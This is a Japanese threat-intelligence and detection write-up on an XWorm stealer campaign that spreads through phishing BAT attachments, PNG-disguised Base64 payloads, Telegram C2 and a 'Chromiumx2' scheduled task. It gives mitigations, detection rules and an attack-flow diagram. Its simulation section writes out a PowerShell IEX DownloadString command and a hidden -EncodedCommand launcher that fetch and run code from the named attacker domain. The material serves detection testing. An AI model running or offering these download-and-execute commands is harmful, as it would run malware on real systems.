悪意のあるスクリプトがさらに悪質なコンテンツを配信
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
フィッシングメールがBATスクリプトを含む悪意ある添付ファイルを配信し、それがPowerShellを起動してBase64エンコードされたペイロードをダウンロードします。デコード後、ペイロードはXWormに解決され、これは.NETスティーラーとしてホストのフィンガープリントを収集し、収集したデータをTelegramボット経由で漏洩させます。持続性は、落とされた実行ファイルを繰り返し実行するスケジュールされたタスクを作成することで確立されます。この操作は、偽の画像ホスティング誘導やペイロード準備に使われた少なくとも1つの侵害されたIPを含む、複数のインフラ要素に依存しています。
調査
BATスクリプトのレビューで、攻撃者が制御するドメインからPNGファイルに見えるファイルを取得するPowerShellのワンライナーが暴露されました。埋め込まれたBase64コンテンツはその後、クリーンアップされ、反転され、そしてデコードされて.NET実行ファイルが再構築されます。バイナリアナリシスでは、マルウェアが Chromiumx2 と名付けられたスケジュールタスクを登録し、TelegramのAPIをコマンド・コントロールおよびデータ漏洩に使用していることが示されました。調査員は、ホスティングドメイン、関連するIPアドレス、実行中に参照されたTelegram APIエンドポイントを含む主要なネットワーク指標を抽出しました。
緩和策
メールの添付ファイルやユーザダウンロードディレクトリからの信頼されていないBATやPowerShellコンテンツの実行を防ぎます。アプリケーションの許可リストを適用し、スケジュールタスクの作成を制限し、疑わしい新しいタスク登録をフラグで表示します。Telegram APIエンドポイントへの外向きアクセスを監視し、可能な場合は制限し、特定の悪意あるドメインをDNS/プロキシレイヤーでブロックします。エンドポイント検出を更新し、観察されたインジケータやスクリプトベースのダウンロードパターンを反映させ続けます。
対応
Chromiumx2のスケジュールタスクやChromiumx2.exeが観察されたエンドポイントを隔離します。スケジュールタスクを削除し、悪意あるバイナリを削除し、フォレンジックスコーピングのためにアーティファクト(スクリプト、デコードされたペイロード、タスクXML、および関連ログ)を収集します。同じタスク名、類似のPowerShellデコード動作、およびTelegramベースのトラフィックを環境全体で追跡します。潜在的に漏洩した資格情報をリセットし、フィッシング添付ファイルについてユーザーに通知して再実行を減らします。
graph TB %% クラス定義 classDef technique fill:#99ccff classDef file fill:#ffcc99 classDef process fill:#ffeb99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef c2 fill:#c2f0c2 %% ノード initial_access[“<b>技術</b> – T1566.001 スピアフィッシング添付ファイル<br/><b>説明</b>: 攻撃者が .bat 添付ファイルを含む悪意のあるメールを送信する。”]:::technique attachment_file[“<b>ファイル</b> – malicious_attachment.bat<br/><b>目的</b>: 隠されたシェルコードを含む PNG 画像をドロップする。”]:::file masquerading[“<b>技術</b> – T1036.008 ファイル形式の偽装<br/><b>説明</b>: optimized_MSI.png と名付けられた PNG は、実際には BaseStart- および -BaseEnd で区切られたシェルコードを含む。”]:::technique png_image[“<b>ファイル</b> – optimized_MSI.png<br/><b>内容</b>: デリミタ付きの埋め込みシェルコード。”]:::file user_execution[“<b>技術</b> – T1204 ユーザー実行<br/><b>説明</b>: 被害者が悪意のあるバッチファイルを実行する。”]:::technique powershell_exec[“<b>技術</b> – T1059.001 PowerShell<br/><b>説明</b>: Base64 データをデコードし、16進文字列を反転し、シェルコードを起動する。”]:::technique obfuscation[“<b>技術</b> – T1027.008, T1027.004, T1027.009, T1027.003, T1027.007<br/><b>説明</b>: ペイロードはジャンクデータ、反転 16 進、オンザフライコンパイル、ステガノグラフィ、動的 API 解決で難読化されている。”]:::technique c2_communication[“<b>技術</b> – T1059.009 クラウド API, T1102.002 双方向 Web サービス, T1102.003 単方向通信<br/><b>説明</b>: .NET バックドアが Telegram Bot API を C2 に使用する。”]:::c2 telegram_api[“<b>ツール</b> – Telegram Bot API<br/><b>エンドポイント</b>: api.telegram.org”]:::tool persistence[“<b>技術</b> – T1543 システムプロセスの作成または変更, T1546.002 イベントトリガー実行, T1547.014 Active Setup<br/><b>説明</b>: スケジュールタスク「Chromiumx2」が毎分実行され、スクリーンセーバーと Active Setup が実行を強制する。”]:::technique scheduled_task[“<b>プロセス</b> – schtasks<br/><b>タスク</b>: Chromiumx2”]:::process priv_esc[“<b>技術</b> – T1055 プロセスインジェクション, T1574 実行フローのハイジャック<br/><b>説明</b>: 正規プロセスにシェルコードを注入し、権限昇格を行う。”]:::technique process_injection[“<b>プロセス</b> – 正規プロセス<br/><b>対象</b>: 注入されたシェルコードを受信する。”]:::process credential_access[“<b>技術</b> – T1555.003 Web ブラウザからの資格情報, T1539 Web セッションクッキー窃取<br/><b>説明</b>: Chrome インジェクターがパスワード、クッキー、その他のブラウザデータを窃取する。”]:::technique chrome_injector[“<b>マルウェア</b> – Chrome Injector<br/><b>機能</b>: 保存された資格情報とセッションクッキーを抽出する。”]:::malware discovery[“<b>技術</b> – T1217 ブラウザ情報探索<br/><b>説明</b>: Chrome プロファイルパスおよび保存された資格情報を列挙する。”]:::technique exfiltration[“<b>技術</b> – T1041 C2 チャネル経由の持ち出し<br/><b>説明</b>: 収集された資格情報とシステム情報が Telegram チャネル経由で送信される。”]:::technique lateral_movement[“<b>技術</b> – T1080 共有コンテンツ汚染, T1210 リモートサービスの悪用<br/><b>説明</b>: さらなる拡散の可能性のため追加ペイロードをダウンロードする。”]:::technique additional_payload[“<b>ファイル</b> – buildingmoney.txt<br/><b>目的</b>: 横展開用の追加悪意コードを含む。”]:::file %% 接続 initial_access –>|配信| attachment_file attachment_file –>|作成| masquerading masquerading –>|生成| png_image png_image –>|使用| user_execution user_execution –>|起動| powershell_exec powershell_exec –>|実行| obfuscation obfuscation –>|接続| c2_communication c2_communication –>|使用| telegram_api c2_communication –>|確立| persistence persistence –>|作成| scheduled_task scheduled_task –>|実行| priv_esc priv_esc –>|注入| process_injection process_injection –>|有効化| credential_access credential_access –>|実装| chrome_injector chrome_injector –>|収集| discovery discovery –>|供給| exfiltration exfiltration –>|送信| c2_communication c2_communication –>|ダウンロード| additional_payload additional_payload –>|有効化| lateral_movement
攻撃フロー
検出
コマンド&コントロールチャンネルとしての Telegram 悪用の可能性(dns_query経由)
表示
疑わしいプロセスがコマンドラインでURLを使用しています(cmdline経由)
表示
PowerShell 経由でのダウンロードまたはアップロード(cmdline経由)
表示
Schtasks が疑わしいディレクトリ/バイナリ/スクリプトを指します(cmdline経由)
表示
疑わしいPowerShell文字列(powershell経由)
表示
公開ユーザープロフィール内の疑わしいファイル(file_event経由)
表示
疑わしいPowerShell文字列(cmdline経由)
表示
持続性のための Schtasks または AT 使用の可能性(cmdline経由)
表示
IOC(SourceIP)を検出する:より多くの悪意をもたらす悪意あるスクリプト
表示
IOC(DestinationIP)を検出する:より多くの悪意をもたらす悪意あるスクリプト
表示
Chromiumx2 の持続性のためのスケジュールタスク作成 [Windows プロセス作成]
表示
Base64エンコードされた PowerShell ペイロードのフェッチを検出する [Windows PowerShell]
表示
シミュレーション実行
前提条件:テレメトリとベースラインの事前確認が合格していること。
-
攻撃シナリオ&コマンド:
攻撃者は、攻撃者が侵害したWebサーバーから悪意あるペイロードをダウンロードして実行したいと考えています。クラシックな署名検出を回避するために、ダウンロードおよび実行のロジック全体を1つのBase64文字列に埋め込み、以下のPowerShellを呼び出します。-EncodedCommand。このコマンドは、検出ルールが監視する正確なURL(https://uniworldrivercruises-co.uk/optimized_MSI.png).-
悪意あるペイロードをエンコード (受信したスクリプトを実行するシンプルなダウンローダー):
$payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) Write-Host $b64生成されたB64(例):
SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...(省略)。 -
エンコードされたコマンドを実行:
powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...
この1行がSigmaルールが期待する正確なテレメトリを生成:PowerShellプロセス、
-EncodedCommandフラグ、およびデコードされたスクリプトブロック内の悪意あるURL。 -
-
リグレッションテストスクリプト:
#------------------------------------------------- # 検出ルールを引き起こすリグレッションスクリプト #------------------------------------------------- # 1. 悪意あるペイロードの構築 $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) # 2. エンコードされたPowerShellコマンドを介してペイロードを実行 Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" ` -WindowStyle Hidden -PassThru | Out-Null Write-Host "悪意あるエンコードされたコマンドが実行されました。" #------------------------------------------------- -
クリーンアップコマンド:
# 一時ファイルを削除(ペイロードが直接ストリームされたため予期されない) # テストで開始された隠されたPowerShellプロセスを終了 Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} | Stop-Process -Force Write-Host "クリーンアップ完了。"